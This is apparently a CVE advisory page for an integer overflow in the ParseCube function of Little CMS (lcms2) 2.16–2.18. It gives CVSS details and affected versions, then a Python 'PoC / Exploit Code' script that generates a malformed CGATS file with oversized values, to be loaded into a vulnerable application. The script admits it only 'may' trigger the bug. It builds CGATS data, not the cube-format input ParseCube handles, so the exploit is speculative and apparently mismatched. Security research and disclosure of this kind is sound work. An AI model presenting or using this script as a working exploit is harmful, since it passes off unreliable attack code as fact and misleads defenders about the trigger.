Little CMS (lcms2) 2.16 through 2.18 before 2.19 has an integer overflow in ParseCube in cmscgats.c.
CVSS Details
CVSS Score
4.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:L
Configurations (Affected Products)
No configuration data available.
Little CMS (lcms2) 2.16
Little CMS (lcms2) 2.17
Little CMS (lcms2) 2.18
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct
# PoC for CVE-2026-42798: Integer Overflow in Little CMS ParseCube
# This script generates a malformed CGATS file that may trigger the integer overflow.
def generate_malformed_cgats(filename):
header = b"CTI1\n"
# Attempt to trigger large dimension parsing
# The exact trigger depends on the vulnerable code path in ParseCube
data = header
data += b"NUMBER_OF_FIELDS 3\n"
data += b"BEGIN_DATA_FORMAT\n"
data += b"SAMPLE_ID SAMPLE_R SAMPLE_G\n"
data += b"END_DATA_FORMAT\n"
data += b"NUMBER_OF_SETS 1\n"
data += b"BEGIN_DATA\n"
# Using large values that might cause overflow in size calculations
data += b"1 4294967295 4294967295\n"
data += b"END_DATA\n"
with open(filename, 'wb') as f:
f.write(data)
print(f"[+] Malformed CGATS file generated: {filename}")
print("[+] Load this file with a vulnerable application using lcms2 to test.")
if __name__ == "__main__":
generate_malformed_cgats("poc_cve_2026_42798.txt")